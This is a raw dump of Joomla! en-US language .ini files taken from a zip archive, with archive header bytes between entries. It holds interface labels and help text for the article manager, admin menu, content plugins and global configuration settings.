            make sure you define the Options in the desired layout." COM_CONTENT_DRILL_DOWN_LAYOUT_DESC="When drilling down to a category, whether to show articles in a list or blog layout." COM_CONTENT_DRILL_DOWN_LAYOUT_LABEL="List or Blog Layout" COM_CONTENT_EDIT_ARTICLE="Edit Article" COM_CONTENT_EDITING_LAYOUT="Editing Layout" COM_CONTENT_FEATURED="Featured article" COM_CONTENT_FEATURED_CATEGORIES_DESC="Optional list of categories. If selected, only featured articles from the selected categories will show. Use Ctrl+Click to select or unselect." COM_CONTENT_FEATURED_CATEGORIES_LABEL="Select Categories" COM_CONTENT_FEATURED_ORDER="Featured Articles Order" COM_CONTENT_FEATURED_TITLE="Article Manager: Featured Articles" COM_CONTENT_FIELD_ARTICLETEXT_DESC="Enter the article content in the text-area" COM_CONTENT_FIELD_ARTICLETEXT_LABEL="Article Text" COM_CONTENT_FIELD_CREATED_BY_ALIAS_DESC="You can enter here an alias to be displayed instead of the name of the user who created the article." COM_CONTENT_FIELD_CREATED_BY_ALIAS_LABEL="Created by alias" COM_CONTENT_FIELD_CREATED_BY_DESC="You can change here the name of the user who created the article." COM_CONTENT_FIELD_CREATED_BY_LABEL="Created by" COM_CONTENT_FIELD_CREATED_DESC="Created Date" COM_CONTENT_FIELD_CREATED_LABEL="Created Date" COM_CONTENT_FIELD_FEATURED_DESC="Assign the article to the featured blog layout" COM_CONTENT_FIELD_FULL_DESC="Image for the single article display" COM_CONTENT_FIELD_FULL_LABEL="Full article image" COM_CONTENT_FIELD_HITS_DESC="Number of hits for this article" COM_CONTENT_FIELD_IMAGE_DESC="The image to be displayed" COM_CONTENT_FIELD_IMAGE_ALT_DESC="Alternative text used for visitors without access to images. Replaced with caption text if it is present." COM_CONTENT_FIELD_IMAGE_ALT_LABEL="Alt text" COM_CONTENT_FIELD_IMAGE_CAPTION_DESC="Caption attached to the image" COM_CONTENT_FIELD_IMAGE_CAPTION_LABEL="Caption" COM_CONTENT_FIELD_INTRO_DESC="Image for the intro text layouts such as blogs and featured" COM_CONTENT_FIELD_INTRO_LABEL="Intro Image" COM_CONTENT_FIELD_LANGUAGE_DESC="The language that the article is assigned to." COM_CONTENT_FIELD_MODIFIED_DESC="The date and time that the article was last modified." COM_CONTENT_FIELD_OPTION_ABOVE="Above" COM_CONTENT_FIELD_OPTION_BELOW="Below" COM_CONTENT_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the article." COM_CONTENT_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" COM_CONTENT_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the article." COM_CONTENT_FIELD_PUBLISH_UP_LABEL="Start Publishing" COM_CONTENT_FIELD_SELECT_ARTICLE_DESC="Select the desired article from the list." COM_CONTENT_FIELD_SELECT_ARTICLE_LABEL="Select Article" COM_CONTENT_FIELD_URL_DESC="The actual link to which users will be redirected. Must be a full URL including http:// or other protocol (for example http://joomla.org)." COM_CONTENT_FIELD_URL_LINK_TEXT_DESC="Text to display for the link" COM_CONTENT_FIELD_URL_LINK_TEXT_LABEL="Link Text" COM_CONTENT_FIELD_URLA_LABEL="Link A" COM_CONTENT_FIELD_URLA_LINK_TEXT_LABEL="Link A Text" COM_CONTENT_FIELD_URLB_LABEL="Link B" COM_CONTENT_FIELD_URLB_LINK_TEXT_LABEL="Link B Text" COM_CONTENT_FIELD_URLC_LABEL="Link C" COM_CONTENT_FIELD_URLC_LINK_TEXT_LABEL="Link C Text" COM_CONTENT_FIELD_URLSPOSITION_LABEL="Positioning of the Links" COM_CONTENT_FIELD_URLSPOSITION_DESC="Display the links above or below the content" COM_CONTENT_FIELD_VALUE_USE_ARTICLE_SETTINGS="Use Article Settings" COM_CONTENT_FIELD_VERSION_DESC="A count of the number of times this article has been revised." COM_CONTENT_FIELD_VERSION_LABEL="Revision" COM_CONTENT_FIELD_XREFERENCE_DESC="An optional reference used to link to external data sources." COM_CONTENT_FIELD_XREFERENCE_LABEL="External Reference" COM_CONTENT_FIELDSET_PUBLISHING="Publishing Options" COM_CONTENT_FIELDSET_RULES="Article Permissions" COM_CONTENT_FIELDSET_URLS_AND_IMAGES="Images and links" COM_CONTENT_FILTER_SEARCH_DESC="Search title or alias. Prefix with ID: to search for an article ID." COM_CONTENT_FLOAT_DESC="Controls placement of the image" COM_CONTENT_FLOAT_FULLTEXT_LABEL="Full Text Image Float" COM_CONTENT_FLOAT_LABEL="Image Float" COM_CONTENT_FLOAT_INTRO_LABEL="Intro Image Float" COM_CONTENT_ID_LABEL="ID" COM_CONTENT_LEFT="Left" COM_CONTENT_MONTH="Month" COM_CONTENT_N_ITEMS_ARCHIVED="%s articles archived." COM_CONTENT_N_ITEMS_ARCHIVED_1="%s article archived." COM_CONTENT_N_ITEMS_CHECKED_IN_0="No article successfully checked in" COM_CONTENT_N_ITEMS_CHECKED_IN_1="%d article successfully checked in" COM_CONTENT_N_ITEMS_CHECKED_IN_MORE="%d articles successfully checked in" COM_CONTENT_N_ITEMS_DELETED="%s articles deleted." COM_CONTENT_N_ITEMS_DELETED_1="%s article deleted." COM_CONTENT_N_ITEMS_PUBLISHED="%s articles published." COM_CONTENT_N_ITEMS_PUBLISHED_1="%s article published." COM_CONTENT_N_ITEMS_TRASHED="%s articles trashed." COM_CONTENT_N_ITEMS_TRASHED_1="%s article trashed." COM_CONTENT_N_ITEMS_UNPUBLISHED="%s articles unpublished." COM_CONTENT_N_ITEMS_UNPUBLISHED_1="%s article unpublished." COM_CONTENT_NEW_ARTICLE="New Article" COM_CONTENT_NO_ARTICLES_DESC="If Show, the message 'There are no articles in this category' will display when there are no articles in the category or when 'Empty Categories' is set to show." COM_CONTENT_NO_ARTICLES_LABEL="No Articles Message" COM_CONTENT_NONE="None" COM_CONTENT_NUMBER_CATEGORY_ITEMS_DESC="If Show, the number of articles in the category will show." COM_CONTENT_NUMBER_CATEGORY_ITEMS_LABEL="# Articles in Category" COM_CONTENT_PAGE_ADD_ARTICLE="Article Manager: Add New Article" COM_CONTENT_PAGE_EDIT_ARTICLE="Article Manager: Edit Article" COM_CONTENT_PAGE_VIEW_ARTICLE="Article Manager: View Article" COM_CONTENT_PAGEBREAK_DOC_TITLE="Page Break" COM_CONTENT_PAGEBREAK_INSERT_BUTTON="Insert Page Break" COM_CONTENT_PAGEBREAK_TITLE="Page Title:" COM_CONTENT_PAGEBREAK_TOC="Table of Contents Alias:" COM_CONTENT_RIGHT="Right" COM_CONTENT_SAVE_SUCCESS="Article successfully saved" COM_CONTENT_SELECT_AN_ARTICLE="Select an Article" COM_CONTENT_SHARED_DESC="These settings apply for Shared Options in List, Blog and Featured unless they are changed by the menu settings." COM_CONTENT_SHARED_LABEL="Shared Options" COM_CONTENT_SHOW_ARTICLE_OPTIONS_DESC="Display or hide article options slider in the backend article edit view. These options allow overriding of the global options." COM_CONTENT_SHOW_ARTICLE_OPTIONS_LABEL="Show Article Options" COM_CONTENT_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no articles or subcategories." COM_CONTENT_SHOW_IMAGES_URLS_BACK_DESC="Display or hide fields to insert standardized images and links in the administrator" COM_CONTENT_SHOW_IMAGES_URLS_BACK_LABEL="Administrator Images and Links" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_DESC="Display or hide fields to insert standardized images and links when front end editing" COM_CONTENT_SHOW_IMAGES_URLS_FRONT_LABEL="Frontend Images and Links" COM_CONTENT_SHOW_PUBLISHING_OPTIONS_DESC="Display or hide the publishing options slider in the article edit view. These options allow changes in dates and author identities." COM_CONTENT_SHOW_PUBLISHING_OPTIONS_LABEL="Show Publishing Options" COM_CONTENT_SLIDER_EDITOR_CONFIG="Configure Edit Screen" COM_CONTENT_SUBMENU_CATEGORIES="Categories" COM_CONTENT_SUBMENU_FEATURED="Featured Articles" COM_CONTENT_TOGGLE_TO_FEATURE="Toggle to change article state to 'Featured'" COM_CONTENT_TOGGLE_TO_UNFEATURE="Toggle to change article state to 'Unfeatured'" COM_CONTENT_UNFEATURED="Unfeatured article" COM_CONTENT_URL_FIELD_BROWSERNAV_LABEL="URL Target Window" COM_CONTENT_URL_FIELD_BROWSERNAV_DESC="Target browser window when the menu item is clicked." COM_CONTENT_URL_FIELD_A_BROWSERNAV_LABEL="URL A Target Window" COM_CONTENT_URL_FIELD_B_BROWSERNAV_LABEL="URL B Target Window" COM_CONTENT_URL_FIELD_C_BROWSERNAV_LABEL="URL C Target Window" COM_CONTENT_WARNING_PROVIDE_VALID_NAME="Please provide a valid, non-blank title." COM_CONTENT_XML_DESCRIPTION="Article management component" JGLOBAL_NO_ITEM_SELECTED="No articles selected" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="You are not allowed to create new articles in this category." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these articles." JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
            Inherited means that the permissions from global configuration and parent group will be used.
            Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
            Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." JLIB_RULES_SETTING_NOTES_ITEM="1. If you change the setting, it will apply to this article. Note that:
            Inherited means that the permissions from global configuration, parent group and category will be used.
            Denied means that no matter what the global configuration, parent group or category settings are, the group being edited cannot take this action on this article.
            Allowed means that the group being edited will be able to take this action for this article (but if this is in conflict with the global configuration, parent group or category it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
            2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\^d3language/en-US/en-US.plg_content_loadmodule.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_LOADMODULE="Content - Load Modules" PLG_LOADMODULE_XML_DESCRIPTION="Within content loads Module positions, Syntax: {loadposition user1} or Modules by name, Syntax: {loadmodule mod_login}. Optionally can specify module style and for loadmodule a specific module title."PK@y>\Mqq%language/en-US/en-US.mod_feed.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FEED="Feed Display" MOD_FEED_XML_DESCRIPTION="This module allows the displaying of a syndicated feed" MOD_FEED_LAYOUT_DEFAULT="Default" PK@y>\)9b*language/en-US/en-US.plg_content_geshi.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_GESHI="Content - Code Highlighter (GeSHi)" PLG_CONTENT_GESHI_XML_DESCRIPTION="Displays formatted code in Articles based on the GeSHi highlighting engine" PK@y>\[!language/en-US/en-US.mod_menu.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MENU="Administrator Menu" MOD_MENU_CLEAR_CACHE="Clear Cache" MOD_MENU_COMPONENTS="Components" MOD_MENU_COM_CONTENT="Content" MOD_MENU_COM_CONTENT_ARTICLE_MANAGER="Article Manager" MOD_MENU_COM_CONTENT_CATEGORY_MANAGER="Category Manager" MOD_MENU_COM_CONTENT_FEATURED="Featured Articles" MOD_MENU_COM_CONTENT_NEW_ARTICLE="Add New Article" MOD_MENU_COM_CONTENT_NEW_CATEGORY="Add New Category" MOD_MENU_COM_USERS="Users" MOD_MENU_COM_USERS_ADD_GROUP="Add New Group" MOD_MENU_COM_USERS_ADD_LEVEL="Add New Access Level" MOD_MENU_COM_USERS_ADD_USER="Add New User" MOD_MENU_COM_USERS_GROUPS="Groups" MOD_MENU_COM_USERS_LEVELS="Access Levels" MOD_MENU_COM_USERS_USERS="Users" MOD_MENU_COM_USERS_USER_MANAGER="User Manager" MOD_MENU_COM_USERS_ADD_NOTE="Add User Note" MOD_MENU_COM_USERS_NOTES="User Notes" MOD_MENU_COM_USERS_NOTE_CATEGORIES="User Note Categories" MOD_MENU_CONFIGURATION="Global Configuration" MOD_MENU_CONTROL_PANEL="Control Panel" MOD_MENU_EXTENSIONS_EXTENSIONS="Extensions" MOD_MENU_EXTENSIONS_EXTENSION_MANAGER="Extension Manager" MOD_MENU_EXTENSIONS_LANGUAGE_MANAGER="Language Manager" MOD_MENU_EXTENSIONS_MODULE_MANAGER="Module Manager" MOD_MENU_EXTENSIONS_PLUGIN_MANAGER="Plug-in Manager" MOD_MENU_EXTENSIONS_TEMPLATE_MANAGER="Template Manager" MOD_MENU_FIELD_FORUMURL_DESC="You may enter here the URL to another forum than the default ones." MOD_MENU_FIELD_FORUMURL_LABEL="Custom Support Forum" MOD_MENU_FIELD_SHOWHELP="Help Menu" MOD_MENU_FIELD_SHOWHELP_DESC="Show or hide the Help menu which includes links to various joomla.org sites useful to users." MOD_MENU_FIELD_SHOWNEW="Add New Shortcuts" MOD_MENU_FIELD_SHOWNEW_DESC="Show or hide various 'Add New...' shortcuts against users, groups, access levels, articles and categories." MOD_MENU_GLOBAL_CHECKIN="Global Check-in" MOD_MENU_HELP="Help" MOD_MENU_HELP_COMMUNITY="Community Portal" MOD_MENU_HELP_CURRENT="Help with this page" MOD_MENU_HELP_DEVELOPER="Developer Resources" MOD_MENU_HELP_DOCUMENTATION="Documentation Wiki" MOD_MENU_HELP_EXTENSIONS="Joomla Extensions" MOD_MENU_HELP_JOOMLA="Joomla Help" MOD_MENU_HELP_LINKS="Useful Joomla links" MOD_MENU_HELP_RESOURCES="Joomla Resources" MOD_MENU_HELP_SECURITY="Security Center" MOD_MENU_HELP_SHOP="Joomla Shop" MOD_MENU_HELP_SUPPORT_OFFICIAL_FORUM="Official Support Forum" ; the string below will be used if the localized sample data contains an URL for the desired community forum or if the 'Custom Support Forum' field parameter in the Admin Menu module contains an url MOD_MENU_HELP_SUPPORT_CUSTOM_FORUM="Custom Support Forum" ; the string below will be used if MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE has a value, i.e the # of the specific language forum in forum.joomla.org MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM="Official [language] forum" MOD_MENU_HELP_SUPPORT_OFFICIAL_LANGUAGE_FORUM_VALUE="" MOD_MENU_HELP_TRANSLATIONS="Joomla Translations" MOD_MENU_HOME_DEFAULT="Home" MOD_MENU_HOME_MULTIPLE="Warning! Multiple homes!" MOD_MENU_LOGOUT="Logout" MOD_MENU_MASS_MAIL_USERS="Mass Mail Users" MOD_MENU_MEDIA_MANAGER="Media Manager" MOD_MENU_MENUS="Menus" MOD_MENU_MENU_MANAGER="Menu Manager" MOD_MENU_MENU_MANAGER_NEW_MENU="Add New Menu" MOD_MENU_MENU_MANAGER_NEW_MENU_ITEM="Add New Menu Item" MOD_MENU_NEW_PRIVATE_MESSAGE="New Private Message" MOD_MENU_PURGE_EXPIRED_CACHE="Purge Expired Cache" MOD_MENU_READ_PRIVATE_MESSAGES="Read Private Messages" MOD_MENU_SITE="Site" MOD_MENU_MAINTENANCE="Maintenance" MOD_MENU_SYSTEM_INFORMATION="System Information" MOD_MENU_TOOLS="Tools" MOD_MENU_USER_PROFILE="My Profile" MOD_MENU_XML_DESCRIPTION="This module shows the main admin navigation module" PK@y>\F$language/en-US/en-US.mod_version.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_VERSION="Joomla! Version Information" MOD_VERSION_FORMAT_DESC="The long version includes code name and date" MOD_VERSION_FORMAT_LABEL="Version format" MOD_VERSION_FORMAT_LONG="Long" MOD_VERSION_FORMAT_SHORT="Short" MOD_VERSION_PRODUCT_DESC="Include the text string "_QQ_"Joomla!"_QQ_" when using short format" MOD_VERSION_PRODUCT_LABEL="Show Joomla!" MOD_VERSION_XML_DESCRIPTION="This module displays the Joomla! version."PK@y>\q3' .language/en-US/en-US.plg_content_pagebreak.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_PAGEBREAK="Content - Pagebreak" PLG_CONTENT_PAGEBREAK_ALL_PAGES=" All Pages" PLG_CONTENT_PAGEBREAK_ARTICLE_INDEX="Article Index" PLG_CONTENT_PAGEBREAK_NO_TITLE="No title" PLG_CONTENT_PAGEBREAK_PAGES="Pages" PLG_CONTENT_PAGEBREAK_PAGE_NUM="Page %s" PLG_CONTENT_PAGEBREAK_SHOW_ALL_DESC="Displays the full article." PLG_CONTENT_PAGEBREAK_SHOW_ALL_LABEL="Show All" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT="Custom Article Index Heading" PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEXTEXT_DESC="Enter a custom text for the Article Index Heading. If empty, standard will be used." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_DESC="Show/Hide Article Index Heading. The Heading displays on top of the Table of Content." PLG_CONTENT_PAGEBREAK_SITE_ARTICLEINDEX_LABEL="Article Index Heading" PLG_CONTENT_PAGEBREAK_SITE_TITLE_DESC="Title and heading attributes from Plug-in added to Site Title tag" PLG_CONTENT_PAGEBREAK_SITE_TITLE_LABEL="Show Site Title" PLG_CONTENT_PAGEBREAK_SLIDERS="Sliders" PLG_CONTENT_PAGEBREAK_STYLE_DESC="Chose whether to layout the article with separate pages, tabs or sliders." PLG_CONTENT_PAGEBREAK_STYLE_LABEL="Presentation Style" PLG_CONTENT_PAGEBREAK_TABS="Tabs" PLG_CONTENT_PAGEBREAK_TOC_DESC="Display a table of contents on multipage Articles." PLG_CONTENT_PAGEBREAK_TOC_LABEL="Table of Contents" PLG_CONTENT_PAGEBREAK_XML_DESCRIPTION="Allow the creation of a paginated article with optional table of contents.

            Insert page breaks through the use of the page break button normally found in beneath the text panel in an Article. The location of the page break in an article will be displayed in the editor as a simple horizontal line.

            The text displayed will depend on the options chosen and may be either the title, alternate text (if provided) or page numbers.

            The HTML usage is:
            <hr class="_QQ_"system-pagebreak"_QQ_" />
            <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"The page title"_QQ_" /> or
            <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"The first page"_QQ_" /> or
            <hr class="_QQ_"system-pagebreak"_QQ_" title="_QQ_"The page title"_QQ_" alt="_QQ_"The first page"_QQ_" /> or
            <hr class="_QQ_"system-pagebreak"_QQ_" alt="_QQ_"The first page"_QQ_" title="_QQ_"The page title"_QQ_" />" PK@y>\2GG*language/en-US/en-US.com_languages.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_LANGUAGES="Language Manager" COM_LANGUAGES_XML_DESCRIPTION="Component for language management" PK@y>\ݭ u6language/en-US/en-US.plg_editors-xtd_pagebreak.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_PAGEBREAK="Button - Pagebreak" PLG_EDITORSXTD_PAGEBREAK_XML_DESCRIPTION="Provides a button to enable a pagebreak to be inserted into an Article. A popup allows you to configure the settings to be used." PK@y>\.fJfJ#language/en-US/en-US.com_config.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONFIG="Configuration Manager" COM_CONFIG_ACTION_ADMIN_DESC="Allows users in the group to perform any action over the whole site regardless of any other permission settings." COM_CONFIG_ACTION_CREATE_DESC="Allows users in the group to create any content in any extension." COM_CONFIG_ACTION_DELETE_DESC="Allows users in the group to delete any content in any extension." COM_CONFIG_ACTION_EDIT_DESC="Allows users in the group to edit any content in any extension" COM_CONFIG_ACTION_EDITOWN_DESC="Allows users in the group to edit any content they own in any extension" COM_CONFIG_ACTION_EDITSTATE_DESC="Allows users in the group to edit the state of any content in any extension" COM_CONFIG_ACTION_LOGIN_ADMIN_DESC="Allows users in the group to login to the backend administrator site." COM_CONFIG_ACTION_LOGIN_OFFLINE_DESC="Allows users in the group to access to the frontend site when site is offline." COM_CONFIG_ACTION_LOGIN_SITE_DESC="Allows users in the group to login to the frontend site." COM_CONFIG_ACTION_MANAGE_DESC="Allows users in the group to access all of the administration interface except Global Configuration" COM_CONFIG_CACHE_SETTINGS="Cache Settings" COM_CONFIG_COMPONENT_FIELDSET_LABEL="Component" COM_CONFIG_COOKIE_SETTINGS="Cookie Settings" COM_CONFIG_DATABASE_SETTINGS="Database Settings" COM_CONFIG_DEBUG_SETTINGS="Debug Settings" COM_CONFIG_ERROR_COMPONENT_ASSET_NOT_FOUND="The asset for the component could not be found. Permissions have not been saved." COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND="The Global Configuration extension could not be found. Text filter settings have not been saved." COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE="Could not make configuration.php unwritable." COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE="Could not make configuration.php writable." COM_CONFIG_ERROR_HELPREFRESH_ERROR_STORE="The new Help Sites list could not be saved" COM_CONFIG_ERROR_HELPREFRESH_FETCH="The current Help Sites list could not be fetched from the remote server" COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND="The asset for global configuration could not be found. Permissions have not been saved." COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN="You cannot remove your own Super Admin permissions." COM_CONFIG_ERROR_WRITE_FAILED="Could not write to the configuration file" COM_CONFIG_FIELD_CACHE_HANDLER_DESC="Choose cache handler to enable caching. Native caching mechanism is file-based. Please make sure the cache folders are writable." COM_CONFIG_FIELD_CACHE_HANDLER_LABEL="Cache Handler" COM_CONFIG_FIELD_CACHE_LABEL="Cache" COM_CONFIG_FIELD_CACHE_DESC="Enable or disable caching and set caching level. Conservative level: smaller system cache, Progressive level (default): faster, bigger system cache, includes module renderers cache. Not appropriate for extremely large sites." COM_CONFIG_FIELD_CACHE_TIME_DESC="The maximum length of time in minutes for a cache file to be stored before it is refreshed." COM_CONFIG_FIELD_CACHE_TIME_LABEL="Cache Time" COM_CONFIG_FIELD_COOKIE_DOMAIN_DESC="Domain to use when setting session cookies. Precede domain with '.' if cookie should be valid for all subdomains." COM_CONFIG_FIELD_COOKIE_DOMAIN_LABEL="Cookie Domain" COM_CONFIG_FIELD_COOKIE_PATH_DESC="Path the cookie should be valid for." COM_CONFIG_FIELD_COOKIE_PATH_LABEL="Cookie Path" COM_CONFIG_FIELD_DATABASE_HOST_DESC="The hostname for your database entered during the installation process. Do not edit this field unless absolutely necessary (e.g. the transfer of the database to a new hosting provider)." COM_CONFIG_FIELD_DATABASE_HOST_LABEL="Host" COM_CONFIG_FIELD_DATABASE_NAME_DESC="The name for your database entered during the installation process. Do not edit this field unless absolutely necessary (e.g. the transfer of the database to a new hosting provider)." COM_CONFIG_FIELD_DATABASE_NAME_LABEL="Database Name" COM_CONFIG_FIELD_DATABASE_PREFIX_DESC="The prefix used for your database tables entered during the installation process. Do not edit field unless absolutely necessary (e.g. the transfer of the database to a new hosting provider)." COM_CONFIG_FIELD_DATABASE_PREFIX_LABEL="Database Tables Prefix" COM_CONFIG_FIELD_DATABASE_TYPE_DESC="The type of database in use entered during the installation process. Do not edit this field unless you are having to migrate to a different type of database, perhaps due to changing your hosting provider." COM_CONFIG_FIELD_DATABASE_TYPE_LABEL="Database Type" COM_CONFIG_FIELD_DATABASE_USERNAME_DESC="The username for access to your database entered during the installation process. Do not edit this field unless absolutely necessary (e.g. the transfer of the database to a new hosting provider)." COM_CONFIG_FIELD_DATABASE_USERNAME_LABEL="Database Username" COM_CONFIG_FIELD_DEBUG_LANG_DESC="Select whether the debugging indicators (**...**) or (??...??) for the Joomla! Language files will be displayed. Debug Language will work without Debug System being activated, but you will not get the additional detailed references that will help you correct any errors." COM_CONFIG_FIELD_DEBUG_LANG_LABEL="Debug Language" COM_CONFIG_FIELD_DEBUG_SYSTEM_DESC="If enabled, diagnostic information, language translation, and SQL errors (if present) will be displayed. The information will be displayed at the foot of every page you view within the Joomla backend and frontend. It is not advisable to leave the debug mode activated when running a live Web site." COM_CONFIG_FIELD_DEBUG_SYSTEM_LABEL="Debug System" COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_DESC="Select the default access level for new content, menu items, and other items created on your site." COM_CONFIG_FIELD_DEFAULT_ACCESS_LEVEL_LABEL="Default Access Level" COM_CONFIG_FIELD_DEFAULT_EDITOR_DESC="Select the default text editor for your site. Registered Users will be able to change their preference in their personal details if you allow that option." COM_CONFIG_FIELD_DEFAULT_EDITOR_LABEL="Default Editor" COM_CONFIG_FIELD_DEFAULT_CAPTCHA_DESC="Select the default captcha for your site. You may need to enter required information for your captcha plugin in the Plugin Manager." COM_CONFIG_FIELD_DEFAULT_CAPTCHA_LABEL="Default Captcha" COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_DESC="Select the number of content items to show in the feed(s)." COM_CONFIG_FIELD_DEFAULT_FEED_LIMIT_LABEL="Default Feed Limit" COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_DESC="Sets the default length of lists in the Control Panel for all users" COM_CONFIG_FIELD_DEFAULT_LIST_LIMIT_LABEL="Default List Limit" COM_CONFIG_FIELD_ERROR_REPORTING_DESC="Select the appropriate level of reporting from the drop down list. See the Help Screen for full details." COM_CONFIG_FIELD_ERROR_REPORTING_LABEL="Error Reporting" COM_CONFIG_FIELD_FEED_EMAIL_DESC="The RSS and Atom newsfeeds include the author's email address. Select Author Email to use each author's email (from the User Manager) in the news feed. Select Site Email to include the site 'Mail from' email address for each article." COM_CONFIG_FIELD_FEED_EMAIL_LABEL="Feed email" COM_CONFIG_FIELD_FILTERS_DEFAULT_BLACK_LIST="Default Black List" COM_CONFIG_FIELD_FILTERS_CUSTOM_BLACK_LIST="Custom Black List" COM_CONFIG_FIELD_FILTERS_NO_HTML="No HTML" COM_CONFIG_FIELD_FILTERS_NO_FILTER="No Filtering" COM_CONFIG_FIELD_FILTERS_WHITE_LIST="White List" COM_CONFIG_FIELD_FORCE_SSL_DESC="Force site access to always occur under SSL (https) for selected areas. You will not be able to access selected areas under non-ssl. Note, you must have SSL enabled on your server to utilise this option." COM_CONFIG_FIELD_FORCE_SSL_LABEL="Force SSL" COM_CONFIG_FIELD_FTP_ENABLE_DESC="Enable the built in FTP (File Transfer Protocol) functionality which is needed in some server environments to be used instead of the normal upload functionality of Joomla!" COM_CONFIG_FIELD_FTP_ENABLE_LABEL="Enable FTP" COM_CONFIG_FIELD_FTP_HOST_DESC="Enter the name of the host of your FTP server" COM_CONFIG_FIELD_FTP_HOST_LABEL="FTP Host" COM_CONFIG_FIELD_FTP_PASSWORD_DESC="Enter your FTP password" COM_CONFIG_FIELD_FTP_PASSWORD_LABEL="FTP Password" COM_CONFIG_FIELD_FTP_PORT_DESC="Enter the port that FTP should be accessed by. The default is port 21." COM_CONFIG_FIELD_FTP_PORT_LABEL="FTP Port" COM_CONFIG_FIELD_FTP_ROOT_DESC="The path to the root directory of the FTP server. The root directory is the base directory to which the FTP server is allowed access." COM_CONFIG_FIELD_FTP_ROOT_LABEL="FTP Root" COM_CONFIG_FIELD_FTP_USERNAME_DESC="The username used to access the FTP server." COM_CONFIG_FIELD_FTP_USERNAME_LABEL="FTP Username" COM_CONFIG_FIELD_GZIP_COMPRESSION_DESC="Compress buffered output if supported." COM_CONFIG_FIELD_GZIP_COMPRESSION_LABEL="Gzip Page Compression" COM_CONFIG_FIELD_HELP_SERVER_DESC="Select the name of the help server from which your system will collect the help screen displays." COM_CONFIG_FIELD_HELP_SERVER_LABEL="Help Server" COM_CONFIG_FIELD_LOG_PATH_DESC="For logging of Joomla. Please specify a folder." COM_CONFIG_FIELD_LOG_PATH_LABEL="Path to Log Folder" COM_CONFIG_FIELD_MAIL_FROM_EMAIL_DESC="The email address that will be used to send site email." COM_CONFIG_FIELD_MAIL_FROM_EMAIL_LABEL="From email" COM_CONFIG_FIELD_MAIL_FROM_NAME_DESC="Text displayed in the header "_QQ_"From:"_QQ_" field when sending a site email. Usually the site name." COM_CONFIG_FIELD_MAIL_FROM_NAME_LABEL="From Name" COM_CONFIG_FIELD_MAIL_MAILER_DESC="Select which mailer for the delivery of site email." COM_CONFIG_FIELD_MAIL_MAILER_LABEL="Mailer" COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_DESC="Enter the path to the sendmail program directory on the host server." COM_CONFIG_FIELD_MAIL_SENDMAIL_PATH_LABEL="Sendmail Path" COM_CONFIG_FIELD_MAIL_SMTP_AUTH_DESC="Select Yes if your SMTP Host requires SMTP Authentication." COM_CONFIG_FIELD_MAIL_SMTP_AUTH_LABEL="SMTP Authentication" COM_CONFIG_FIELD_MAIL_SMTP_HOST_DESC="Enter the name of the SMTP host." COM_CONFIG_FIELD_MAIL_SMTP_HOST_LABEL="SMTP Host" 